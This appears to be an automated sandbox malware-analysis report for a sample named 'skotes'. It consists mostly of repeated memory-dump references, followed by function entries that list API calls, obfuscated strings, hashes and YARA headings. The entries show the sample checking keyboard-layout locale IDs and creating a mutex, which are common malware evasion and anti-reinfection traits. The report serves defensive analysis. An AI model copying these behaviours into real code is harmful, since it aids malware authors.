Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 0e4b929febc34f9c0c86edee80a694d46946f25e42e9bee73577f415c9ca08cf
Instruction ID: d26cd00a905ad48ad69a6c800de7034ef4e8847334a3af67d461a2bf116d5f8e
Opcode Fuzzy Hash: 0e4b929febc34f9c0c86edee80a694d46946f25e42e9bee73577f415c9ca08cf
Instruction Fuzzy Hash: FBB1C1719002689BDB24DB24CC84BEEB7B9AF24340F5402D9E108E7291DB74ABE4CF95

Function 001C7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001C7ED3

Strings

JjsrPl==, xrefs: 001C828A
JjssOl==, xrefs: 001C813A
JjsrQV==, xrefs: 001C8092
JjssPV==, xrefs: 001C81E2

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: a6e62bf1573075be45ece0ad32b94e18e53e68381fd7802cce02b21bf75188d7
Instruction ID: ff6ba4fa5b40bcb51fab9b7ae8fb43826dfc1dfc8fcee681e1d7ada63641a1f5
Opcode Fuzzy Hash: a6e62bf1573075be45ece0ad32b94e18e53e68381fd7802cce02b21bf75188d7
Instruction Fuzzy Hash: 96E13C71E00254A7DB25FB68DC4BBAE7B61AB61720F94028CE415673C2DB35DF858BC2

Function 00201ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00201775: CreateFileW.KERNELBASE(00000000,00000000,?,00201B65,?,?,00000000,?,00201B65,00000000,0000000C), ref: 00201792

__dosmaperr.LIBCMT ref: 00201BD7
GetFileType.KERNELBASE(00000000), ref: 00201BE3
__dosmaperr.LIBCMT ref: 00201BF6
__dosmaperr.LIBCMT ref: 00201D9C

Strings

H, xrefs: 00201D21

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 221867504aa7cb653811df552416ee239e5a41568f63513fb6709bfda9f1248d
Instruction ID: c6057d48b3abf0bd6cb52b54692871a7dce0c9f0ae00e452b940c2c44b32c0aa
Opcode Fuzzy Hash: 221867504aa7cb653811df552416ee239e5a41568f63513fb6709bfda9f1248d
Instruction Fuzzy Hash: 06A15832A242495FCF19DF68DC91BAE3BB1AF06324F14019DE801AF2D2DB359D22CB51

Function 001C9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001C9BA8
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 3ffdee4be8a08d3408e26112cfd96fcf8505a140ae3a45cf5c432b01715909c4
Instruction ID: cc19fb142e1b76fe5802fd5b5b436abb0b3b330fb4a9ef50dd42bd53eb7462a3
Opcode Fuzzy Hash: 3ffdee4be8a08d3408e26112cfd96fcf8505a140ae3a45cf5c432b01715909c4
Instruction Fuzzy Hash: 063129316002049BEB18DB78DD9DFADB662EFE1314F20821DE414A73D5C775D9808691

Function 001C9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001C9CDD
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
